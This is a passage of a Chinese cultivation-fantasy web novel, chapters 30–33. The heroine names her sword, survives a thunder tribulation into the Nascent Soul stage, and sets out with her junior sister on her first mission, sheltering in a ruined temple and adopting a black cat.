她走进屋里,坐在书案前抓耳挠腮了一会,只想起了三个剑名;又从书格上拿下几本话本翻了翻,抄了里头几个名字下来;最后她终于想起自己是剑的主人,把剑拿出来放在桌上看了看,打算自己也取一个,也算是尽责了吧? 叫什么好呢…… 哈……好困,今日起太早了…… 她往书案上一趴就睡了过去。 没注意到银白的剑面上有一条红影一闪即逝。 “……帝血剑?”曾换月从纸面中抬起头来,看向她的师姐,“这剑名有何寓意?” 石映心完全不记得这名字是怎么回事,肯定是她随便从话本里抄下来的,不知道是某位刺客的暗器还是谁家千金小姐的簪子……她挠挠脸道:“没什么特别的寓意。” “唔,”曾换月歪了歪脑袋,“听着有股煞气呢……” 石映心怕她再追问,她又编不出来什么所以然来,便连忙说:“换月你帮我选一个吧。” 曾换月这会犹豫了很久,说明师兄师姐和话本作者起的名确实很有水平,最后她干脆说:“算了,抓阄吧!” 石映心松了口气:“好,好。” 曾换月做了几个签纸放在桌上让她师姐去抽。石映心并未多犹豫,随手选了一个,正要打开的时候忽地有一阵大风刮来,吹得她发丝凌乱,耳朵轰轰,眼睛都眯了起来。 又听到曾换月嚷嚷:“什么鬼风!” 等怪风一停,石映心把脸上的发丝摸到边上,低头一看——咦,签纸呢?再往桌上看去,原本满满当当的签纸都被风不知道吹到哪里去了,只剩下了一个孤零零地留在原处。 为避免麻烦,石映心趁师妹还在梳理头发,把那仅剩的签纸拿了起来。 曾换月把最后一缕发丝撩到耳后,自然瞧见了桌上的签纸都不见了,幸好师姐已经选好了,正在她手中捏着呢:“师姐你快打开看看!” 石映心把签纸打开,上头写着三个字: “帝血剑。” 既然如此,就如此吧。 大比过后没几日 ,在其他仙门的弟子们各回各家之后,归壹派又恢复了往日的平静;魁首的奖赏“黑月如水”也被送到了石映心手中。 其实是一朵寻常莲花的模样,瞧着也不黑啊。石映心打量着问师父:“为什么叫黑月如水?” 慕雲给徒弟们解释道:“这朵莲花长于不咸山天池之下,每逢天狗食日、月色黑中透红时才冒出水面汲取天地精华,一次只长一叶一花瓣,等长齐这朵莲花,至少要一百多年,每一枚花瓣都蕴含充沛纯净的天地灵气,是修士破境的最好宝贝。” 顾梦真越听越眼前发亮:“哇,要长一百多年?那很贵了……” 慕雲瞥他一眼:“为师推测,映心破境只需半朵莲花便够了,剩下半朵就给你用。” 顾梦真眼睛一闭,倒吸一口凉气,把边上的曾换月往前一推:“不不不,这等好宝贝给我用有些浪费了,我看还是给换月用吧,这次大比她也出了不少力,我这个做师兄的也不能抢她功劳啊……” 曾换月扭过身子:“我也不着急,我才结金丹没多久呢!还是给二师兄吧……要不给大师兄也行啊!” 她大师兄抱着剑站在边上:“我不需要。” 第30章 进入元婴期后破境便是遥遥无期、不可预测的事了,不再像前边的境界那般、努努力一步一脚印便能破境;许多修士遇不到机缘,一辈子卡在元婴期也很常见。因此这黑月如水对明易来说宛如水滴入大海——真没什么用。 “好了!”慕雲一翻白眼,“都给我闭嘴,为师说的算!” 徒弟们只好闭嘴。 石映心盯着黑月如水看,耳边听他们叽叽喳喳的,心中其实不大明白,为何大师兄执着变强,而二师兄小师妹却不愿入元婴……至于她自己,她是无所谓的,不过是玩着剑、自然而然地走到了今日。 在其他同门弟子看来,她这一路实在是顺风顺水、少有瓶颈,比她的天才大师兄还要叫人嫉妒;等她这会进入元婴,又是要更新她师兄的记录了…… 只是她到今日也没想清楚,破境是为了什么?她是想破境还是不想呢? 师父让她安心:“映心不怕,天雷打下来也有为师的法云术抵着,就是挨着了也不疼。” 二师兄道:“还有我的引雷瓶!” 小师妹说:“师姐,我就不添乱了,在边上给你加油打气!” 大师兄表示:“金丹期的雷劫对你来说不算什么。” 石映心发现大家好像有些紧张,她稳重道:“没事,不过是九道雷劫。” 其余几人忍不住苦笑。 石映心在院子中心打坐着,先把一些东西从储物空间里拿出来,只留下护身的宝贝,免得到时候不小心被天雷劈坏了。 其实她的储物袋里还真有一些东西,不过除了一把剑以外,都是些杂七杂八的,有二师兄不要的宝器,小师妹送给她的话本,大师兄从山下带来的民间小玩意,最贵的是师父给她的夜明珠…… 这么往地上一摆,她又搁那一坐,跟人间卖东西的货郎似的。 大家稀奇地打量起来: “你们怎么尽把破铜烂铁给映心?” “哪有,这话本可是绝版的呢!” “欸,我还炼过这个?” “……破铜烂铁?” …… 耽搁了一些时间,赶紧开始吧! 慕雲用法云术招来一朵白云飘在徒弟上空,又在她面前摆上引雷瓶,大伙避让几步腾出位置来,如此便可以开始了。 石映心坐在那,手上捧着黑月如水,最后看了一眼面色关怀的师父师兄师妹,闭上了眼睛,施法汲取莲花的灵气引入体内。 她熟练地感知着微凉的灵气灌溉着体内经脉,每兜转一周天就渗一些到丹田之中,渐渐地便有满足之感,待这满则溢时,溢出的灵气引来九道天雷,扛过去她便能破境了。 轰—— 夜色中运转灵力的石映心周身发着莹莹的光辉,像是给天雷指明了方向。云雨峰上空早已是间乌云密布,隐隐有雷光的尾巴一游而过。 轰—— 天元走出掌门殿,瞧着不远处山峰上古怪的天色,慢悠悠地摸着白胡须。 轰—— 人间热闹非常,锣鼓喧天,妽荼从无人的小巷中走出来,耳朵一动仿佛听到了什么,微蹙眉头朝天边望去,夜空月明星稀。 轰—— 姬滢在回程的云舟上,姐姐已经在榻上熟睡,她站在窗边摸着罗盘上的蜥蜴骨,抬首看向窗外,一片云海缥缈。 轰—— 黑袍隐在树冠中歇息,似有蛇过叶间的簌簌声,他猛然抬眼一瞧,恍若梦醒,红彤彤的眼中落下一滴泪来。 轰—— 慕雲等人全神贯注地瞧着石映心的情况,并未发现她边上的帝血剑在隐隐发抖、嗡嗡作响,一条红影藏在雷光中如蛇一般绕了剑面几圈。 轰—— 法云已被劈散,引雷瓶不堪重负而碎,雷光照亮了石映心苍白的脸色,她闭着眼,眉目平缓。 轰—— 最后一道避无可避的天雷毫无阻碍地劈在了她身上,似乎在报前几道妨碍之仇,这次的雷响得骇人、亮得瞎眼,黑天似乎被它撕成了两半。 石映心瞬间露出痛苦的神色,浑身罩着雷光,被电得滋啦发抖、发丝乱飞。身前漂浮的黑月如水竟飞快地枯萎凋谢了,落在地上成了残花。 “为何会这样……”场外的明易惊诧道,“这不是金丹雷劫的威力!” 师弟师妹立刻惊慌起来:“啊?那映心/师姐怎么办!?师父——” 慕雲眉头紧蹙,额间冒汗,但还算镇定道:“也许和……她镜灵的身份有关……” 明易语速飞快:“她先前不会这样。” 慕雲叹出的这口气也微微颤抖:“时候未到罢了。” 俗话说不是不报,时候未到,几人只见石映心面色痛苦、浑身打颤,只有她自己明白此中的煎熬难耐,她的心仿若被这雷劈碎了一般,明明是凡心,但她耳里听见的尽是镜面咔咔破碎的声音,细碎的裂缝扎入经脉,流淌在体内每一处,叫她疼得无所适从。 她的心怎么……怎么这般疼…… 疼得她撑不出打坐的姿势,往前踉跄了一下,好在是用胳膊支住了身子;轻微的“喀拉”一声,石映心的一只手掌按住帝血剑的剑面,漫漫地溢出血来,但她本人无知无觉,继续硬撑着渡化身上的天雷。 见她都坐不稳了,看着的人更加焦急,慕雲急得踱来踱去,还要警告徒弟们不准轻举妄动。 心急如焚的几人没瞧见有一条血影顺着石映心按着帝血剑的手悄无声息地蹿入了她的心脉之中。 【蠢物!还不快用你的灵力缝补碎镜?】 碎镜……? 石映心这会已经无法有更多思考,她听从这莫名其妙冒出来的念头,慢慢地将灵力往碎镜上引去,好在算是无师自通,竟慢慢地如操纵针线一般缝补了起来,一点点、一块块,渐渐熟能生巧…… 时间不知过去了多久,大概一个时辰,也许有两个时辰?直到天边泛起鱼肚白,她才终于缝补完破碎的镜面,能瞧见其红光一闪,眨眼间又是全然无损的模样;与此同时,身上最后一道雷也闪过奄奄一息的暗光。 渡雷劫总算结束了。 石映心从来没有这么累过,此时此刻只想不顾一切地大睡一场,于是连眼睛都不愿睁开一回,往后倒去就想就地而眠—— 似乎是落入了一个温暖的怀中,衣衫有些凉,但很快就有胸膛的暖意传来;她又茫茫地听见熟悉的几个声音,听不清说什么,也不想听清,总之……都是好睡的。 * 【……为何?因你不够格。】 你是谁? 【……想我带你走?】 去哪里? 【我没工夫照料你。】 石映心从梦中惊醒,天色已亮,窗外传来叽喳的鸟鸣,艳阳高照,正是一日好时光。 脑中的梦转瞬即逝,她摸了摸脑袋,什么也想不起来。等回神时,才恍然想起自己已渡过雷劫,这会应是元婴期了。试着调动了一会体内的灵气,奇经八脉果然宛若新生,充沛着生机。 历劫时的疼痛好像是很久前的事,除了下榻时有些腿软外,石映心已经没了多少感触。喝了一点水后来到院中,石映心瞧见曾换月坐在石桌前的背影,她微微摇着脑袋,似乎在写话本。 石映心能听到笔墨渗透在纸上的柔声。 “换月?” 曾换月闻声惊喜地转过头来,把笔一扔就跑了过去,拉住她师姐上下打量起来:“师姐!你终于醒了呜呜呜!” 石映心点点头:“嗯,我睡了多久?” “睡了17日呢!”曾换月激动地连语速都快了一些,“这几日我和师父他们轮流照看你,现在你总算醒了,我们也就安心了……对了,要折传音鹤去告诉师父师兄……” 石映心闻言,变了个传音鹤出来,只是这元婴期的纸鹤也和她以往一般的歪扭,她放在手心上看了看,面色有些疑惑:原来不是境界越高就能折得越好吗? ……算了。 她对纸鹤说了声“师父,大师兄,二师兄,映心醒了”,注入灵力,纸鹤便扇了扇翅膀飞去空中。 飞过一片白日,携来一轮圆月。夜空之下,师徒几人聚集在石头洞的院子中吃吃喝喝,为石映心庆贺喜事。 茶足饭饱之后,师父说起下山的事,前头还哇哇乱吵的二师兄和小师妹顿时噤了声,石映心则是很好奇:“山下是不是很好玩?” 大师兄说:“下山不是为了玩的。” “嗐,”慕雲摇摇手指头笑道,“既然都下山了,能偷摸着玩一会就玩呗,不耽误事就好。” 明易瞥了他师父一眼:“您这么说,她就要更放肆了。” “明易啊。”慕雲朝大徒弟同情道,“你就是太不放肆了。为师以前觉得你听话守规矩、是个不叫人操心的好孩子,心中很安慰;不过这么多年过去,为师却想开了,人生不过及时行乐一场嘛,怎么高兴怎么来啊!” 明易面不改色地转动着火桶上的几把烤串:“于我来说,修炼便是行乐。” 慕雲:…… 嘶,这孩子不是脑子有问题吧? “欸,我觉得师父说得对啊!”顾梦真拍拍大师兄肩膀,笑嘻嘻道,“人生是要及时行乐。大师兄觉得修炼便是行乐,定是没试过其他好玩的事情!日日修炼着,脑子都糊涂了……” 明易肩膀一抬把他的胳膊撇开。 这时候石映心问:“还有什么好玩的事呢?” 顾梦真:“比如赚灵石啊!” 石映心露出“体会不到”的表情:“哦……还有呢?” 慕雲:“比如喝酒啊!” 明易:“师父,您自己喝便是了。” 石映心瞥了眼师父面前的酒壶,微微点了点头,又问:“嗯……还有吗?” 曾换月:“比如谈情说爱啊!” 大伙的视线“唰”地集中在她身上,曾换月一吓,连忙解释道:“怎、怎么了?我说得不对吗……话本里都有这样的桥段的……”【】 30-40 第31章 石映心也是看话本的,于是首先赞同地点了点头:“是,话本里都有的。富家千金、江湖侠客,不论是谁……谈情说爱起来都是飘飘欲仙、要生要死……” “咳!”慕雲凌厉的目光扫向小徒弟,“你给你师姐看的都是什么话本!?” 曾换月心虚地冤枉道:“都是正经话本啊……” “哎呀……映心根本就……就不知道什么意思。”顾梦真哈哈地打圆场,“她就是看到什么说什么。” 石映心谦虚地问:“二师兄,那是什么意思?” 顾梦真:→→ “换月,什么意思?” 曾换月:←← “师父?” 慕雲:*。* “……大师兄。” 明易目不斜视地盯着烤串:“你不必知道是何意,谈情说爱最是耽误修行,你年纪轻轻刚入元婴,前途无量,更应六根清净、不染凡尘,如此才好心无旁骛地潜心修练、早日飞升腾云。” 石映心听得双眼发直:“……哦。” 大师兄真无趣。她想。 ……大家都这么想。 既然一时半会谈不了情说不了爱,又赚不得灵石,石映心就说要喝酒。慕雲一开始乐呵呵地帮她倒了一茶盏,余光瞥到大徒弟不赞同的谴责眼神,忽然良心苏醒,觉得自己身为长辈,这样的行为非常不妥! 于是又把茶盏里的酒往地上一倒,洒出一片影子,她对一脸茫然的徒弟摆正经道:“映心啊,酒这东西呢,能不喝还是不喝的好。来来来,多喝点桃花茶吧。” 石映心:…… 师父变脸真快。 她拿起桃花茶贴近唇边,抬眼瞧见师父满脸高兴地拿着酒壶灌酒,心中便想,若是在喝茶的时候照了正在喝酒的师父,那么…… 石映心喝下桃花茶,被刺激的酒味冲得脑子一懵,下一刻便晕头转向、昏昏沉沉起来,她抖着手把茶盏往桌上放了放,却不小心将其推倒,发出一些响声。 几人疑惑地朝她看去,却见她两眼出神、双颊泛红,脑袋莫名摇了摇,然后往桌上一倒——晕了。 “师姐?”曾换月拍拍她肩膀,“师姐好像是喝醉了?” 明易幽幽道:“师父做的好事。” 慕雲手上还拿着酒壶呢,冤枉道:“我什么都没做啊!” “您明知道她会照人还在她面前喝酒。”又说,“对映心更应该以身作则。” 慕雲:…… “是、是,”她咬牙一笑,“乖徒教训的是。既然如此你就先送映心回去吧,梦真和换月在这陪我喝、茶便是。” 明易应了一声,告辞了师父和师弟师妹,抱着石映心御剑走了。 大徒弟一走,师父就忍不住问:“你们大师兄怎么越发讲究了?他几年前还不是这样的,那时候还会嘚瑟嘞!” 二徒弟说:“之前是年轻气盛许多,还喜欢讽刺人。” 小徒弟道:“大师兄长大了。” 说到这,师父又“啧”了一声,看眼前两个也不满意起来:“你们也该长大了!还是要多向大师兄学习……不过也别学得太深。” 二徒弟摇摇头:“学不来。” 小徒弟想了想:“也许是为了给师姐以身作则?毕竟师父你天天说我和二师兄不靠谱,那榜样的重责就落在大师兄身上了,他可能是压力大吧!” 二徒弟:“但是大师兄身上有黑镜,映心也照不到他。” 小徒弟:“论心无完人,这不就更合适了?舍他其谁呢?” …… 二人又絮絮叨叨地你一句我一句起来。慕雲摇摇脑袋喝了一口酒,酒入愁肠化作育徒泪。 太难了、养孩子真是太难了! 旁人只道她慕雲有品学兼优的四位徒弟,谁晓得她忧心徒儿的心呢? * 明易有许久没来石映心的卧房,往常都是在院子或是正厅里说事,或者某人没礼数地推开他的门进来,我行我素地坐下来就喝茶吃果子。和她说了几次也不听,想来是在顾梦真和曾换月那里随便惯了,又故意不改。 将人放在榻上,正要起身却被她抓住了衣袍,明易愣了愣去掰她的手,没想到这家伙还挺使劲,他知道她醒了,忍不住说:“……放手。” 石映心这会睁开一点眼睛来,眸色瞧着也不清醒:“大师兄……黑镜。” 明易扯了下嘴角:“什么时候改了你乱照人的坏毛病我就给你。” 石映心就不说话了,但手也没放开。 明易深呼一口气:“你难道还想发酒疯?” “怎么发?” “……石映心,放手。” 她还是不放,明易不想在这跟她纠缠,干脆把她抓着的那块布给撕了,冷哼一声转身要走,但——腰带被抓住了。 明易:…… 一不做二不休!好,那腰带也不要了! 他把腰带卸下,用手固定着外袍,头也不回地、大步流星地往外走。 门被关上,石映心坐了起来,神情不大高兴地看着闭合的门,又低头瞧了瞧手上的布料和腰带,叹了口气收入储物袋中,躺下去睡觉了。 * 进入元婴期后,石映心就该去万事堂领任务了。归壹派元婴期后的弟子们每年至少要完成五件任务,若是任务失败则不算数;成功则有灵石宝物的奖励。 这任务也不是瞎领,万事堂里有一颗万事树,树上结了无数的木牌,弟子们去树下施法问树,便会有合适的牌子掉落下来,这木牌便是因果牌,带着牌子下山,因果牌会指引弟子们去完成任务。 归壹派弟子众多,万事堂前日日人来人往。石映心跟着一位师姐来到堂中大院,抬首瞧见一颗硕大无比的绿树立在院中。 万事树高出了殿顶,盛开的树冠几乎将整个院子笼罩在其中,遮住了大片日光,院子便有些昏暗,倒显出它树上无数因果牌莹莹发光,远远望去似草丛间的点点宵烛。 弟子们正排着队领牌子。 石映心没排多久,很快就轮到她了,她学着他人的模样把手贴在树上,将灵力送入树干之中,使劲仰着脑袋,瞧见数不清的因果牌像果子一般和树叶随风一起摇动着,不知道哪一枚牌子是她首次的任务? 不过多久,她瞧见有一牌子从树叶中飞出,直冲她而来。等牌子飞近了,她便把手一抬,那因果牌就乖顺地被她拿在了手中。 翻牌一看,木牌上刻着一句……诗? 【自古多情空余恨,此恨绵绵无绝期。】 石映心:OO ……也没人和她说领任务要做诗词理解啊? * “因果牌上一般会有任务的提示,”明易把木牌还给师妹,“不过一般是写地点或是人名……写一句诗,确实少见。” 石映心接过木牌:“哦。” 曾换月在边上撑着下巴嚷嚷:“我可怜的师姐!本来就是第一次下山做任务,结果接到一个不明就里的,这可怎么办呐!” 顾梦真猜测:“难道映心要找的是写这句诗的人?” “这首诗都烂大街了,写诗的人早死了。”曾换月并不觉得,“不过唯一能确定的是……这首诗歌颂的是爱情!” “爱情?”顾梦真哈哈一笑,“那映心是全然不懂了。” 石映心疑惑道:“为何是爱情?这上头写得明明是‘恨’字。此恨绵绵无绝期……那是多恨这个人?” 顾梦真一摊手:“你看,她果然不懂。” “师姐,你不能只瞧表意,这首诗是这样的理解……”曾换月摇头晃脑地给师姐解释,“自古以来,多情的人总是留下遗憾和悔恨;这种生死遗恨会持续很长的时间,永远没有尽头……所以此处是遗憾的恨,而因为太爱了才生了恨。” 石映心:*。* 明易见她越听越迷糊,轻笑一声道:“罢了,你先别多想,等下了山后遵从因果牌的指引便是。” 石映心点点头,觉得这是最好的办法了。 曾换月不舍得师姐,抱着她问她什么时候走,石映心想了想:“晚上收拾好行囊,明早辞别了师父就走了。” “这么快!?” 石映心说:“这任务有截止日期,限我一月内回来复命。” 要一个月见不到师姐,曾换月当即郁郁寡欢起来:“师姐你不在,我连修炼都没心思,吃饭都没胃口了……” 顾梦真:“你平时就又懒又挑食。” 曾换月瞪他。 石映心拍拍她的肩膀宽慰道:“没事,我很快回来。” “好吧。” 晚上大伙一起去师父那用膳为她饯行,吃完饭后石映心便回洞府收拾了行囊,其实她带的东西不多,师兄他们说下山有需要的话用银子买就好了,师父给了她五十两银子,再有不够的,便用灵石去换,两灵石得三两银子。 石映心躺在床上,侧着脑袋玩枕边的夜明珠,心中有些将要下山的兴奋,又有些离家的不舍,这些情绪都很朦胧,她也不知如何处理,那便按部就班好了,总不会出错…… 一夜无梦。 “此去山高路远,你要好好照顾自己,若是有什么困难,记得用传音符找为师,千万不要勉强,一切以人身安全为重。” 临行前,慕雲也变得唠叨起来,眼见时辰要到了,还拉着徒弟不放手。 石映心点点头:“我知道的,你放心吧师父。” 唉……慕雲想,映心是剑法高超,但性情率真、思想单纯,真是怕她在外头被人骗了…… “好吧,你……”师父想了想也不知道怎么说,胡乱道,“凡人虽弱小,但人心险恶,你可别轻信了他人的话,要谨慎交友啊!” 石映心:“好。” “有什么事记得找师父。” “好。” “东西都带好了吗?” “带好了。” “银子和剑都带上了?” “都在储物袋里,师父。” 大早上赶过来送行的二师兄打了个哈欠:“好了师父,映心也不是小孩子了,迟早有这一天的。” 大师兄也在边上赞同地颔首。 慕雲叹了口气,好吧,那就这样吧。 石映心辞别了师父,又和边上的大师兄二师兄道了别,小师妹大概是赖床没起来,那便算了吧。 她背着行囊,瞧着精神很不错,身上换了一套淡青色的衣裳,衬得她在山林间像如梦似幻、飘飘欲飞的蝴蝶,朝三人招了招手后便转身离开,转过一个弯后就翩然不见了。 “映心长大了……”慕雲盯着她消失的地方,心中怅然若失。 七年前捡她回来的时候,还是那么小的孩子呢。 什么都不会,什么都不懂,一言一行都是学她师父师兄的,闹出了好多笑话…… 如今,却是她独当一面的时候了。 第32章 “师姐,我很不放心你啊!” 石映心在山门口遇见了倒在树边睡觉的小师妹,她走过去把人拍醒,曾换月瞧见她就一激灵地跳了起来,拉着她的手关心地说:“外面的世界太危险,我想了想,还是要陪你下山才好!” “好吧。”石映心觉得有师妹作陪也挺好,不过话说在前头,“但是师父和大师兄肯定很生气。” 曾换月讨好道:“到时候你帮我求求情嘛……” 石映心点点头:“这是自然的,只是他们不领情的话……” “我知道我知道,但事已至此就不想这么多了!”她把肩膀上的行囊提了提,开朗笑道,“事不宜迟我们快走吧,免得到时候被追上!那我真是赔了夫人又折兵,山没下成,回去还要白挨骂……” 石映心想想也是,于是两人就赶紧上路了。 都是第一次下山,二人便想走一程山路看看新鲜风景,一路嘻嘻哈哈的捉兔子逗松鼠,累了才御剑休息,直到天快黑了才完全走出归壹派的绵绵山脉,迈入人间地段。 至此就不便御剑飞行了,以免叫凡人惊慌。 “我看今夜是找不到歇脚的地方了。” 二人这会走在进城前的野路上,曾换月见前方黑乎乎一片、毫无烟火,打了个哈欠道:“师姐,天也黑透了,不如我们就地休息吧,明早再早起赶路进城?” 石映心也不着急:“好。” 她们本打算在树下铺个毯子就睡了,但毯子还没铺好,天上就落下几滴雨水来,二人愣了一下,连忙把毯子收了起来,一时有些不知所措。 “怎么办啊师姐?这雨一下可埋汰了……” 石映心想了想,跑到树顶上看了看,飞下来说:“不远处似乎有一座庙宇,不如趁着夜深人静,我们快些御剑过去?” 曾换月抱 着行囊连连点头:“好啊好啊!” 二人于是偷摸地御剑过去,飞近了就瞧见这庙宇实在破败,也就一间一院,院子里堆着杂物、长了一丛小腿高的野草,屋顶的砖瓦空了几块,破碎在门前,墙皮脱落大半,窗上结着落满灰尘的蜘蛛网。 二人下了剑,曾换月抱着师姐的胳膊,有些惊恐地打探着周遭,小声道:“师姐,我听说断了香火的破庙会变成亡魂鬼屋,你你你看这庙……” 夜风伴雨吹来,明明是七月夏日,却带一股渗人的寒气。 石映心稳重地安慰师妹:“没事,不过是鬼。要是淋了雨就不好受了。” 曾换月:…… “我们进去吧。” “……呜呜好。” 她们推开庙门,迎面瞧见一尊高大的观音像,眉目低垂着,若不是半张脸掉了下来,也许是张和蔼面,地上散落几个发霉的蒲团,“吱吱”跑过一只老鼠,钻到了供桌布下。 曾换月转着眼珠子打量中,忽地感到脖子上一凉,吓得低呼一声,摸了摸是一滴水,抬头瞧去,正巧是她头顶的砖瓦破了几块。 “师姐……” “谁在外面?” 后头忽然有男声传来,听着有些提心吊胆。既然是人声,曾换月便松了口气,抬高一点声音道:“我们是来避雨过夜的!你们是谁?” 不过一会,殿后走出来一盏油灯,照着后边两个男人,前头的是仆役打扮,灰色短打、粗布腰带;后头的是书生模样,儒巾襕衫,文质彬彬。 见到二人,那仆役忽地大惊道:“竟是两个人?你们快出去!” 曾换月莫名其妙:“出去?凭什么叫我们出去?” “凭什么……你们不是银州人?” “不是又如何?” 仆役侧头看了眼书生,烛光下的脸色有些森然。书生却是朝她们笑了笑,和声和气道:“那难怪两位姑娘不清楚了。银州一直有个民间传闻,进入鬼月之后,夜里不可四人共处,怕要招来阴间恶鬼……” “真的假的……”曾换月把师姐又抱得紧了一些。 “还能有假?”仆役声线有些发抖起来,“阴阳路是鬼路的事天下谁人不知?若不是有归壹派镇守,那里头的鬼怪怕是早已危害人间,而最近的银州就是首当其冲……但再厉害的修士也有顾及不暇的时候,尤其是在鬼月,百鬼肆虐,我们这些老百姓只好自己小心了……” “知道了。”石映心颔首表示理解,“既然你们怕鬼,那就出去吧。” 主仆二人:? 仆役以为自己听错了:“谁、谁出去?这庙可是我家公子先来的,怎么也要讲个先来后到的道理!” 石映心眨眨眼:“你们是先来没错,但我既不是来买东西、又不是要住客栈,难道先来了这庙就归你们了吗?” 主仆二人:…… 曾换月立刻帮腔道:“是啊,这庙又不是你们的,凭什么要我们出去淋雨?谁怕鬼谁出去就是了!” “你!” “小孙。”那仆人正要愤愤不平起来,书生就喊住他,又朝她们一拱手说,“二位姑娘说得不错,是在下的仆役冒昧了。不过鬼月传言确实骇人,不如我们各居一隅、互不见面,以防万一如何?” 曾换月看师姐,她师姐道:“好。” 书生又说:“姑娘的右手边便有一间寮房,二位不嫌弃的话便去里头吧,我与小厮在殿中休息便好。” 这书生倒有几分眼色,石映心点点头道了谢,带着师妹进了寮房,房间很小,不过一张床一张桌,连窗户都没有。二人施澄净诀将屋里弄干净了一些,互相挨着躺在床上,听雨落在屋檐上啪嗒好大声。 “唉……”曾换月叹了口气,“没想到离了家,要睡这么破的屋子。” 石映心看着黑乎乎的天花板:“等明日进了银州,就可以住好一些的客栈了。” “唉……” 石映心顿了顿:“要不明日你就回宗门?” “那不行。”曾换月摇摇头道,“既然都出来了,就没有半路打道回府的道理。再说我决心要帮师姐,自然不能食言!” 石映心不觉得这是“食言”,就算是她也不怪师妹,本来就是她的任务,没必要连累其他人。 “你若是想回去,可以随时回去。” “不回去……哈……师姐我好困啊,今早天没亮就起来了,下山又走了好久,好累……”说着说着,声音就模糊了起来。 石映心侧头一看,她果然已经睡着了。 和师妹同床共眠也是常事,她瞧了瞧曾换月的睡颜,感觉像去膳堂用膳时瞧见了自己的爱吃的菜一般,接下来一餐会吃得高兴了。 好了,睡觉吧。 * 隔天早上起来时,曾换月瞧见师姐在打量着因果牌,她打了个哈欠:“师姐,怎么了?” 石映心抬头看她:“方才我将牌子拿出来看了看,瞧见它在发光,不知是何时开始的,不过现在已经恢复寻常了。” “怎么会这样?” 石映心摇摇头道:“不清楚,不过我想还是把它随身放着,免得再有异样。” 二人简单收拾一番出了门,那对主仆已经不见了。石映心其实是听着他们动静起来的,他们也才没走多久。 既然如此就继续赶路吧。昨日下山后问过了因果牌,是要从这条路继续走下去,也许要入银州看看。 下了一夜的雨,天上依旧乌云蔽日,天色是朦朦的亮。 她们刚上路没走多久,忽然听闻路边的草丛里有簌簌的动静,曾换月提心吊胆地往师姐身后一躲:“天奶!不会是蛇吧?” 石映心正要说没事,却见草幕被打开,出来一只绿眼睛的玄猫。 “……呼,原来是猫啊。”曾换月松了口气,打量了那猫几眼,笑道,“师姐,你看这猫像不像你先前在黑竹林喂的那只?” “一模一样。”石映心说,她蹲了下来,朝那只猫伸出手,唤道,“猫。” 玄猫端坐在那,绿眼睛瞧瞧石映心,又瞧瞧曾换月。 “叫咪咪试试。”曾换月说,“也许就是那只猫呢?它当时不是突然不见了吗?可能下山来了,见到你觉得熟悉,所以才过来。” 石映心:“咪咪。” 玄猫矜持端庄,并无任何反应。 曾换月也喜欢猫,可惜对猫毛过敏,这是她两世的遗憾,便怂恿师姐说:“师姐你去摸摸它。” 石映心便伸手去摸,她伸出手的时候猫还无动于衷,但要碰到猫脑壳的时候,这玄猫却灵活地把脑袋一扭——躲过去了! 石映心:? 她抿了下唇,伸手将猫抱了起来,但只是提溜起来了一下,那猫就像条鱼似的从她手上溜了出来,跳到了地上。 石映心:? 她眉头微蹙,见这猫也没跑,于是又把它抱起来——又被它溜走了。 第三次了。 石映心看了看盯着她的绿眼睛,朝师妹说:“它变了,以往会让我摸和抱的。”语气听着有些失落。 “也许压根不是一只猫。” “长得一模一样。” “这么多年过去,一模一样才奇怪吧?”曾换月宽慰她,“没事啦师姐,猫都长得差不多的,这只不亲人就不要,下只更乖!” 石映心想想也是,于是两人便不再和这只猫纠缠,背着行囊就继续走;但奇怪的是这猫却一直跟着她们,不远不近的,每当她们回头它就端坐下来,好整以暇地和二人对望着。 “它想干什么?”曾换月猜测,“难道是找我们要吃的?” 正巧前边有一条小河,石映心便去捉了条鱼扔到它面前。那鱼新鲜着在地上扑腾,打出的水花溅到猫脸上,玄猫嫌弃地用爪子擦了一下,然后将鱼一推——又送回了河中。 二人:…… 第33章 “不亲人还不知好歹!”曾换月哼哼一声,“走吧师姐,我们不要理它了 !” 石映心见自己的好意被辜负,心中也很失落,和绿猫瞳对望着眨了眨眼睛,微蹙的眉头忽地松开了,神色有些茫然,似乎还在疑惑。 “师姐,”曾换月又叫了她一声,“我们走吧?” 石映心转头朝她微微一笑:“换月,这里荒郊野岭的,这猫不爱吃鱼能吃什么呢?饿肚子多可怜;又听那两个凡人说夜里有野鬼出没……你不是说猫有灵性吗?也许它是害怕,又知道我们厉害,所以才跟着我们寻求庇护?” 曾换月没想到她这么揣测了猫的心思,有些发愣:“啊?是哦?” 石映心又说:“既然如此,不如我们好人做到底,把它带入城中,找一户好人家吧。” 曾换月感动道:“师姐你真是太善良了!” 石映心也没否认,只继续说:“不过它只是一只猫而已,如果我们走快点它就要跟丢了。” “确实……” 于是下一秒,曾换月就见她师姐手诀一出,给那玄猫施了法术,那猫也是一惊,绿眼睛都瞪大了不少,但依旧一动不动地盯着石映心朝它走过来。 石映心把它抱了起来,朝师妹笑道:“我给它施了定身术,现在它乖乖的了。” 曾换月:“……哦、哦。” 嘶,怎么有点强制爱的感觉呢? 不不不,师姐都是为了这只猫好,是为了给它找一个家啊!谁让这只猫不知好歹? 嗯嗯…… 她师姐抱到了猫,心情明显好了不少,脸上都带笑了,时不时朝怀中的猫看一眼,然后稀罕地点点它的鼻尖、拉拉它的胡须,笑眼弯弯。 至于那猫——除了瞳孔一会儿放大一会儿缩小之外,就是一只任人摆布的玩偶了。 她后来抱累了,就把斜挎包里的东西清了,将猫放入包中,只露出一个猫脑袋来,时不时伸手摸摸它脑壳、捏捏它耳朵,倒也很方便。 二人一猫就这么走了半天,终于到了银州城。 都是第一次入人间,姐妹俩瞧什么都稀罕,银州就在归壹派山脚下,自然得到庇护,百年来都是安定繁荣、热闹非常,百姓们对归壹派也是毕恭毕敬、奉若神明。 二人就瞧见有穿着门服的陌生弟子在某个摊位前停留了一会,那个摊主就笑呵呵地硬要往他手里塞包子,那弟子推辞不过,还是接了下来。 曾换月觉得这有些风光:“师姐,要是我们换上门服显示身份,是不是也能得到百姓们的小礼物?” 石映心摇摇头:“好麻烦,我不想和这么多人打交道。” “那倒也是哦。” 二人找了一家瞧着不错的客栈歇脚,听师姐说要两间房,曾换月连忙道:“师姐,我和你睡一起就好了。” 石映心点点头:“嗯,还有一间是给猫要的。你不能碰猫毛,到时候猫在屋里跑,猫毛乱飞不好办。” 曾换月脸上感动一笑:“师姐你真贴心!” 给她们办事的店小二笑道:“两位姑娘真是心善,连这猫都要另住一间。要我说啊,拴在门口或是我们客栈后厨都行,何必浪费一两银子?” 曾换月故意说:“给你们多挣一两银子还不好了?” 